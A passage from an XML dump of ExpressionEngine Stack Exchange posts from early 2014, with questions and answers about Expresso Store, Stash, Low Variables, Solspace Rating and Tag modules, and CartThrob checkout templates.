Title="category_url_title randomly parsing in channel:entries tag" Tags="|categories|channel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19003" PostTypeId="2" ParentId="18851" CreationDate="2014-02-01T03:29:56.263" Score="1" Body="&lt;p&gt;That's an interesting observation. It certainly wasn't an intentional change, but it seems like one for the better in your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 1.6, the check for a last name was coming from this line in CI-Merchant:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_authorize_net.php#L71&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_authorize_net.php#L71&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the last name check was made by Store/CI-Merchant. This was probably due to the field being listed as required in the Authorize.net API documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store 2 uses Omnipay instead of CI-Merchant, so the payment gateways were rewritten from scratch. In the Omnipay Authorize.Net driver, there is only a check for a single name, not separate first name/last name (even though they are still separate fields in the gateway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/omnipay/authorizenet/blob/master/src/Omnipay/AuthorizeNet/Message/AIMAuthorizeRequest.php#L15&quot; rel=&quot;nofollow&quot;&gt;https://github.com/omnipay/authorizenet/blob/master/src/Omnipay/AuthorizeNet/Message/AIMAuthorizeRequest.php#L15&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have had orders go through successfully, it would appear that Authorize.Net does not have a problem creating payments with only a single name, and since the last name check was removed in Store 2/Omnipay, it's now working as expected.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-01T03:29:56.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19004" PostTypeId="2" ParentId="18914" CreationDate="2014-02-01T03:50:21.437" Score="1" Body="&lt;p&gt;We are using Mailchimp Subscribe on exp-resso.com, and in the basic case of subscribing new users to a mailing list it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I assume is coming from your mapped member field, which isn't updated with the order value at the time Mailchimp Subscribe is looking for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store creates orders in this order:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Process payment&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;register_member&lt;/code&gt; was set, create a new user and assign to the order&lt;/li&gt;&#xA;&lt;li&gt;If user is assigned to order, update mapped member fields&lt;/li&gt;&#xA;&lt;li&gt;Save order&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, without looking at the code I assume Mailchimp Subscribe is using a hook which gets called as part of (2). So at the time the user is created, none of their custom member fields are set (only username, email, password etc). This means that any extensions which depend on the standard member registration hooks won't be able to see the custom member fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't really an easy workaround for this. The only suggestion I can make is to edit the extension so that it has explicit support for registering users created during the checkout. To do this, you would need to use the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook in Store, which is called after the order is saved (and all mapped member fields will be updated at that point).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-01T03:50:21.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19005" PostTypeId="2" ParentId="18961" CreationDate="2014-02-01T04:05:39.417" Score="1" Body="&lt;p&gt;This feature (automatically splitting packages into multiple orders) was first added in Store 1.6.1, as can be seen in the &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_1_6_1&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Updated the UPS shipping plugin to split large orders into multiple packages&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The code you have pasted above seems to be from Store 1.6.0 or earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if you are using 1.6.5 as you mentioned, you should not be seeing this problem (or even that code). I suggest you delete your entire third_party/store folder on the server and re-upload a clean version of 1.6.5 to ensure you are actually running the latest version.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-01T04:05:39.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19006" PostTypeId="2" ParentId="18987" CreationDate="2014-02-01T08:47:43.397" Score="2" Body="&lt;p&gt;For the first URL, you won't get a valid category ID, as &lt;code&gt;{last_segment_category_id}&lt;/code&gt; points to the last segment: the date. You'd need to get creative with simple conditionals and preload replace vars. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4 != ''}&#xA;  {preload_replace:pre_category=&quot;{segment_3_category_id}&quot;}&#xA;{/if}&#xA;&#xA;{preload_replace:pre_category=&quot;{last_segment_category_id}&quot;}&#xA;&#xA;{exp:low_events:entries&#xA;  category=&quot;{pre_category}&quot;&#xA;  date=&quot;{last_segment}&quot;&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this approach only works when using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#simple-conditionals&quot; rel=&quot;nofollow&quot;&gt;simple conditionals&lt;/a&gt; for the preload replace vars.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-01T08:47:43.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19007" PostTypeId="1" AcceptedAnswerId="19010" CreationDate="2014-02-01T08:49:29.967" Score="0" ViewCount="82" Body="&lt;p&gt;I'm just playing around with implementing Stash on a site, following the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash&quot; rel=&quot;nofollow&quot;&gt;Template Partials Using Stash&lt;/a&gt; article, but now I seem to be having a scope/execution order issue.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Layout&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA; &amp;lt;head&amp;gt;...&amp;lt;/head&amp;gt;&#xA; &amp;lt;body&amp;gt;&#xA;  &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;   &amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;    {exp:member:custom_profile_data}&#xA;      {exp:stash:member_field_1}Foo{/exp:stash:member_field_1}&#xA;      {exp:stash:member_field_2}Bar{/exp:stash:member_field_2}&#xA;    {/exp:member:custom_profile_data}&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;     {exp:stash:content}&#xA;   &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA; &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Content Partial&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layouts/content&quot;}&#xA;{exp:stash:content}&#xA;&amp;lt;div&amp;gt;&#xA; &amp;lt;h1&amp;gt;{exp:stash:member_field_1}&amp;lt;/h1&amp;gt;&#xA; &amp;lt;h1&amp;gt;{exp:stash:member_field_2}&amp;lt;/h1&amp;gt;&#xA; ...&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:stash:content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have some custom member fields that I need in a few places throughout my content sections, so I'm trying to retrieve them in the layout and assign them to variables, in the hopes that I could save my content from being littered with  {exp:member] tags, but the variables don't seem to be available in my content partials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that it's not working because my Stash variables are being parsed before the values are assigned, and from what I believe I understand about the order of how EE is parsing the views, it goes something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Partial is retrieved&lt;/li&gt;&#xA;&lt;li&gt;Content is assigned to {exp:stash:content}&lt;/li&gt;&#xA;&lt;li&gt;Layout embed is retrieved&lt;/li&gt;&#xA;&lt;li&gt;Layout is parsed and {exp:stash:content} value injected.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I missing a feature/use-case of Stash, or am I simply using the wrong tool for this particular job?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &#xA;After racking my brain for days, and then writing this question, I tried saving the variable definitions in a snippet, which is called from my layout and it seems to work. I'd still be interested to know if there is a Stash implementation of this type of case, though.&lt;/p&gt;&#xA;" OwnerUserId="1666" LastEditorUserId="1666" LastEditDate="2014-02-01T09:09:01.777" LastActivityDate="2014-02-01T12:35:48.173" Title="How do I resolve this scope issue with Stash?" Tags="|stash|variable|template-partials|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19008" PostTypeId="1" CreationDate="2014-02-01T10:46:02.317" Score="0" ViewCount="100" Body="&lt;p&gt;I am using Tag module (v 4.2.3) with EE (v 2.5.2),and I have requirement wherein on a products details page I have to show its 6 related products based on tags which I am achieving using the following expression&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:tag:related_entries channel=&quot;product&quot; entry_id=&quot;{embed:entry_id}&quot; orderby=&quot;relevance&quot; limit=&quot;6&quot;}&#xA;{title}&#xA;{/exp:tag:related_entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have a button below the 6 related products,and on click of it we have to load 6 more related products.I am not able to exclude the existing 6 products on the page,I have the already loaded products entry_ids but I am not able to write a expression of tag related entries with which I can exclude the already loaded products and load the next batch of 6 products.&#xA;  Please help me out in achieving that,I would be really thankful&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="1210" LastEditDate="2014-02-03T06:08:41.477" LastActivityDate="2014-02-03T16:37:56.017" Title="Load more tag related entries using Ajax" Tags="|solspace|tags|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19009" PostTypeId="1" CreationDate="2014-02-01T11:27:30.433" Score="1" ViewCount="84" Body="&lt;p&gt;Following on from a question I had a couple months back (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15331/disable-certain-combination-variations&quot;&gt;Disable certain Combination Variations&lt;/a&gt;), I now actually need to do it, and i'm kinda stuck a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i need to do is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a product with all its options.&#xA;Disable certain variations from control panel.&#xA;Set a price for a certain variation.&#xA;Give a particular variation a description field&#xA;Prevent users from selecting a particular variation on the front end (obeying the disabled variation option on the front end).&#xA;Display description for a particular variation.&#xA;Charge variation price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;looks&lt;/em&gt; like I can do a lot of this with the &lt;em&gt;stock&lt;/em&gt; section. I could use the SKU field for the description. Ok, its a hack, but it'd work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could also use the 'limit stock' button to disable a variation , but then, this kind of means that i'm using what may in future be a useful feature, so i'd like to avoid that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking is to replicate the 'stock' section in a way, with its own table, with all the fields i need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm thinking hooks aint gonna cut it.  I'm thinking that I probably am best to look at this as a new expression engine fieldtype that just so happens to require store to run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess i'm just looking for any thoughts, or perhaps even a bit of confirmation that a new ee fieldtype would be the best way to approach this (and then using hooks to override product pricing).... because a big concern is whether or not i'll actually be able to do the frontend stuff too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obviously want to do this in a way that means it can be reused... (and not get overwritten every time store release an update)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To furnish this question with a little more info about the original problem, here's my original question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15331/disable-certain-combination-variations&quot;&gt;Disable certain Combination Variations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm selling a series of products, one of which is configurable. It has four options, but not all combinations are available, and different combinations will result in a different price.&lt;/p&gt;&#xA;" OwnerUserId="2313" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-02-03T07:48:58.250" Title="Expresso Store: 'Variants' 3rd Party Dev Question" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19010" PostTypeId="2" ParentId="19007" CreationDate="2014-02-01T12:35:48.173" Score="2" Body="&lt;p&gt;You should try separating the data-fetching from the markup-assembly - this way you'll be able to cleanly fetch all your member variables and store them into Stash vars for use later (either in the same template or an embedded one). Here's a tutorial I wrote describing how to do this: &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorial-level-2&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorial-level-2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-02-01T12:35:48.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19011" PostTypeId="2" ParentId="18972" CreationDate="2014-02-01T13:52:14.793" Score="1" Body="&lt;p&gt;For some reason, &lt;code&gt;expressionengine/controllers/ee.php&lt;/code&gt; hadn't been replaced during the update, so instead of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;class EE extends EE_Controller {&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it was &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;class EE extends CI_Controller {&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2014-02-01T13:52:14.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19012" PostTypeId="1" AcceptedAnswerId="19019" CreationDate="2014-02-01T16:44:54.343" Score="0" ViewCount="91" Body="&lt;p&gt;This is my Low Variable &lt;strong&gt;var=&quot;lv_article&quot;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; channel=&quot;{segment_1}&quot;}&#xA;     &amp;lt;h1 class=&quot;title&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;                   &#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When it's parsed inside Stash, the channel data is not parsed when channel=&quot;{segment_1}&quot; is used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;structure/.model&quot;}&#xA;&#xA;{exp:stash:set name='main'}&#xA;   {exp:ifelse parse=&quot;inward&quot;}&#xA;          {if segment_1 == 'science' AND segment_2 == ''}  &#xA;                  {exp:low_variables:parse var=&quot;lv_article&quot;}&#xA;          {/if}&#xA;  {/exp:ifelse} &#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried {exp:channel:entries limit=&quot;1&quot; channel=&quot;{segment_1}&quot; parse=&quot;inward&quot;}, it doesn´t resolved the problem.&#xA;Does someone knows how to resolve this problem??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stéphane&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-02T15:13:09.910" Title="channel:entries and segment with Low Variables" Tags="|channel-entries|stash|low-variables|parsing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19013" PostTypeId="2" ParentId="18997" CreationDate="2014-02-01T21:17:42.270" Score="1" Body="&lt;p&gt;It looks like you uploaded the EE1 version of Wygwam.  Not sure how that’s possible since Wygwam hasn’t shipped with EE1 files in a long time. Try re-downloading Wygwam from &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com&lt;/a&gt; and uploading the system/expressionengine/third_party/wgywam/ and themes/third_party/wygwam/ folders again.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-02-01T21:17:42.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19014" PostTypeId="2" ParentId="18957" CreationDate="2014-02-01T23:03:50.927" Score="0" Body="&lt;p&gt;After further investigations I understand that the items order is managed by a 3rd party plugin. Unfortunately I can't tell which plugin it is but apparently it adds an &quot;order by&quot; custom field type which contains the information about the order within the category.&#xA;I wasn't aware of this particular plugin since I didn't create the EE site in the first place.&#xA;Thanks anyway for the support.&lt;/p&gt;&#xA;" OwnerUserId="1628" LastActivityDate="2014-02-01T23:03:50.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19015" PostTypeId="1" AcceptedAnswerId="19016" CreationDate="2014-02-02T00:35:22.940" Score="2" ViewCount="98" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSYoz.png&quot; alt=&quot;enter image description here&quot;&gt;I have a channel set up that has acc_longitude and acc_latitude, these fields have the correct coordinates for the destination applied. I am using this code below to try and display a map with the a marker of the destination. Below you can see my code for my attempt at this, I am just receiving a white box with no map in it. Any ideas? js script running below looks like this (being pulled in by the add-on).&lt;/p&gt;&#xA;&#xA;&#xA;   &#xA;       {exp:gmap:init id=&quot;map&quot; class=&quot;gmap&quot; latitude=&quot;{acc_latitude}&quot; longitude=&quot;{acc_longitude}&quot; style=&quot;width:100%;height:200px;&quot;}&#xA;   &#xA; &#xA;" OwnerUserId="1916" LastActivityDate="2014-05-03T05:24:51.287" Title="Google maps for Expression Engine issue" Tags="|ee2|channel-entries|google-maps-for-ee|google-maps|low|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19016" PostTypeId="2" ParentId="19015" CreationDate="2014-02-02T00:54:36.000" Score="1" Body="&lt;p&gt;Issue was that the jquery.min.js file was in the footer, it was preventing the map from being rendered&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2014-02-02T00:54:36.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19017" PostTypeId="2" ParentId="18223" CreationDate="2014-02-02T01:43:51.330" Score="0" Body="&lt;p&gt;It turned out that the fix mentioned above only fixed in my local install. The issue was in the actual PDF file itself. I was able to turn of XSS detection on uploaded files for the time being, and it fixed my issue.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-02-02T01:43:51.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19018" PostTypeId="2" ParentId="19009" CreationDate="2014-02-02T04:46:26.467" Score="2" Body="&lt;p&gt;Peter is right - how many products and variations you have will make a big difference to how you should approach this. For example, instead of using the SKU as a description, why don't you just have a single option group for each product. There's no harm in having options called &quot;300mm - Mahogany&quot; and &quot;500mm - Plywood&quot; and specifying prices for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this would quickly get out of hand if you have dozens of variations for each item, but if you're going to have to review each option anyway there isn't much difference really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way you can approach this is to set it up as two separate channels, so each Store product only has a single variation/SKU. For example, you can create a channel called &quot;Products&quot;, with a single entry called &quot;Table&quot;. You can then create another channel called &quot;Product Options&quot;, with custom fields for &quot;Size&quot; and &quot;Material&quot;, and a relationship back to the original &quot;Table&quot; product. You can then create an entry in the Product Options channel, with Size=300mm, Material=Mahogany (both standard custom fields), and then set only the price in the Store Product Details field, and ignore Store's modifiers altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works well if you only have a few main products, and lots of potential variations. It's much more flexible, with a slight trade-off of ease of entry for your client. However, it's also fairly easy to understand, and we've used it successfully in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't recommend creating your own custom field unless you're fairly confident with PHP and MySQL. It's certainly possible, but the way modifiers, options, and stock items work in Store is pretty complicated. To get an idea, take a look at the &lt;code&gt;exp_store_product_modifiers&lt;/code&gt;, &lt;code&gt;exp_store_product_options&lt;/code&gt;, &lt;code&gt;exp_store_stock&lt;/code&gt; and &lt;code&gt;exp_store_stock_options&lt;/code&gt; tables. If you can get your head around that first, then you should be ok.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-02-02T04:46:26.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19019" PostTypeId="2" ParentId="19012" CreationDate="2014-02-02T09:05:43.810" Score="2" Body="&lt;p&gt;Looking at the content of your &lt;code&gt;lv_article&lt;/code&gt; variable, you could just use the variable syntax instead of the tag syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_article}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having early parsing enabled has no effect when using the tag syntax, only when using the above variable syntax.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-02-02T15:13:09.910" LastActivityDate="2014-02-02T15:13:09.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19020" PostTypeId="2" ParentId="13887" CreationDate="2014-02-02T11:33:48.120" Score="0" Body="&lt;p&gt;When you upgrade EE, installer automatically changes your all templates, but it only changes the templates in database. If you use templates in files, you have to change manually all your templates and replace {safecracker} tags with new {exp:channel:form} tags. Actually you can open the template in control panel, and copy/paste the automatically updated code to the template in file. It took my one night and few more grey hairs :) Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2014-02-02T11:33:48.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19021" PostTypeId="2" ParentId="13534" CreationDate="2014-02-02T11:37:03.947" Score="1" Body="&lt;p&gt;When you upgrade EE, installer automatically changes your all templates, but it only changes the templates in database. If you use templates in files, you have to change manually all your templates and replace {safecracker} tags with new {exp:channel:form} tags. Actually you can open the template in control panel, and copy/paste the automatically updated code to the template in file. It took my one night and few more grey hairs :) Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2014-02-02T11:37:03.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19022" PostTypeId="1" CreationDate="2014-02-02T15:04:23.337" Score="2" ViewCount="416" Body="&lt;p&gt;I'm looking to create a checkout process with CartThrob over multiple pages. Checkout process will use a number of gateways, Paypal, Offline Payments as well as posting directly to an offsite gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 1 will collect Billing and Shipping info. Then in the case that we need to take credit card details to post to the gateway, this will be done on page 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wondering if anyone has some example code that may help me here. I'm still looking into the correct way of implementing this but some examples would help loads as the documentation only briefly mentions this in relation to the save_customer_info_form tag, but is not giving me any clues on how to implement it.&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2014-02-03T23:51:56.037" Title="CartThrob Multipage Checkout Example Templates?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19023" PostTypeId="2" ParentId="18812" CreationDate="2014-02-02T16:26:12.500" Score="2" Body="&lt;p&gt;I looked into this further and it seems that the dynamic options are nor being picked up. I managed to create a fix for this to mod.cartthrob.php by adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option_value = ($item) ? $item-&amp;gt;item_options($field_name) : '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;swap_var_single('option_field', $field_name, $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on line 5021.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't yet seen any problems with this.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-02-02T16:26:12.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19024" PostTypeId="1" CreationDate="2014-02-02T17:16:12.933" Score="1" ViewCount="42" Body="&lt;p&gt;I'm currently running EE ver 2.7.3 and can not get user comments to function properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comment form returns to an empty template. Upon submitting a comment, the returned page only displays my page top, widgets section, and footer. The page header and body are output with nothing inside the &quot;entries&quot; tags. (the wrappers are there, just no content). This only happens when I submit a test comment when &quot;logged out&quot;. If I am logged in the form submits normally and I am returned to the page and everything is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using an EECore test site to trouble shoot with but that won't even display the comment submission form. I have verified that commenting is enabled in both the channel prefs as well as the post options and comments are allowed for non-members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Issue 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the ce_gravitar and gravitar plugins only display my gravitar (i've tried both separately). I have even created a test template thats totally flat (no snippets, embeds, or globals) thinking it was a parsing issue but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I tried using the code tage to embed my template here for review but it didn't work so I deleted it...&lt;/p&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2014-02-02T17:16:12.933" Title="Problems with user comments" Tags="|comments|comment-form|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19027" PostTypeId="1" AcceptedAnswerId="19217" CreationDate="2014-02-03T03:58:53.837" Score="0" ViewCount="95" Body="&lt;p&gt;I'm using &lt;code&gt;Rating:Comments&lt;/code&gt; and &lt;code&gt;Rating:Comment_Form&lt;/code&gt; for the first time. I've successfully set up the form and comments display loop, and submitted my first test comment. I'm submitting comments with a &quot;closed&quot; status status to I can approve them before they show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, &lt;strong&gt;where do I find these comments in the EE CP so I can moderate them and change their status to open?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are not listed anywhere in the Rating module tabs or as regular EE comments! Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made my comments loop display closed comments and I can confirm the comment was saved and shows up there. So it's there somewhere I just don't see any part of the user interface that allows me to see the comment or change its status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&#xA;Rating 3.2.3&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-10-16T16:35:09.517" Title="Solspace Rating - where do rating comments go?" Tags="|solspace|comments|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19028" PostTypeId="1" AcceptedAnswerId="19274" CreationDate="2014-02-03T04:21:07.663" Score="0" ViewCount="73" Body="&lt;p&gt;With Solspace Rating I'm allowing members to submit ratings in 4 rating fields. However, to some people, not all fields will apply so they can select an &quot;N/A&quot; option for any of the fields as needed. This option has no value (&quot;&quot; not &quot;0&quot;) so it doesn't affect rating stats. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;allow_unrated=&quot;&quot;&lt;/code&gt; to specify that these fields can be submitted with no value. But, I want the fields be be required - meaning they must select a valid rating (1-5) OR the &quot;N/A&quot; option, but they CANNOT select absolutely no option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trouble is, the N/A field with null value is equal to selecting nothing, which means Rating's own server-side field validation as well as my client-side form validation script think the field is empty even when it has a valid selection of &quot;N/A&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as far as I can figure, there's no way to allow unrated fields AND require those fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the value of the &quot;N/A&quot; option to 0 is NOT a solution as that is an actual score and therefor pulls down average rating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some simplified template code for what I'd like to do (this doesn't work):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:form &#xA;    form:class=&quot;box write-review validate&quot; &#xA;    form_name=&quot;{channel_short_name}&quot; &#xA;    collection=&quot;{channel_short_name}&quot; &#xA;    required=&quot;rating1|rating2|rating3|rating4&quot; &#xA;    allow_unrated=&quot;rating1|rating2|rating3|rating4&quot; &#xA;    allow_duplicates=&quot;no&quot; &#xA;    anonymous=&quot;no&quot; &#xA;    return=&quot;/vendor/rating-thanks/{segment_2}&quot; &#xA;    status=&quot;closed&quot; &#xA;}&#xA;&#xA;{select name=&quot;rating1&quot;}&#xA;{option value=&quot;&quot;}-select a rating from 1-5{/option}&#xA;{option value=&quot;1&quot;}1{/option}&#xA;{option value=&quot;2&quot;}2{/option}&#xA;{option value=&quot;3&quot;}3{/option}&#xA;{option value=&quot;4&quot;}4{/option}&#xA;{option value=&quot;5&quot;}5{/option}&#xA;{option value=&quot;&quot;}N/A{/option}&#xA;{/select}&#xA;&#xA;{select name=&quot;rating2&quot;}&#xA;{option value=&quot;&quot;}-select a rating from 1-5{/option}&#xA;{option value=&quot;1&quot;}1{/option}&#xA;{option value=&quot;2&quot;}2{/option}&#xA;{option value=&quot;3&quot;}3{/option}&#xA;{option 